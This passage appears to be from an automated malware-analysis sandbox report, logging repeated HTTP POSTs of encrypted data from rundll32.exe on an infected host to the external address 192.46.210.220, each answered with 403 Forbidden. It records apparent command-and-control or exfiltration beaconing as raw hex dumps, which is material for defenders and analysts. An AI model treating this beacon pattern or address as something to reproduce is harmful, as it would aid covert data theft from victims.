6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:00 UTC	313	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	50035	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:03 UTC	313	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:03 UTC	313	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:04 UTC	322	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	50036	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:04 UTC	318	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:04 UTC	318	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:04 UTC	323	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	50043	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:07 UTC	323	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:07 UTC	323	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:08 UTC	332	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	50044	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:08 UTC	328	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:08 UTC	328	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:08 UTC	332	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	50054	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:11 UTC	333	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:11 UTC	333	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:12 UTC	342	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	50055	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:12 UTC	337	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:12 UTC	338	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:13 UTC	342	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	50065	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:15 UTC	343	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:15 UTC	343	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:16 UTC	352	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49781	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:13 UTC	34	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:13 UTC	34	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:14 UTC	44	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	50066	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:16 UTC	347	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:16 UTC	347	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:17 UTC	352	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	50075	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:19 UTC	352	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:19 UTC	353	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:20 UTC	357	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	50079	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:21 UTC	357	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:21 UTC	358	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:22 UTC	362	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:21 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	50083	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:23 UTC	362	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:23 UTC	363	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:24 UTC	367	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:24 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	50087	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:25 UTC	367	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:25 UTC	368	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:25 UTC	372	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:25 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	50091	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:27 UTC	372	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:27 UTC	372	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:28 UTC	377	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	50095	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:29 UTC	377	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
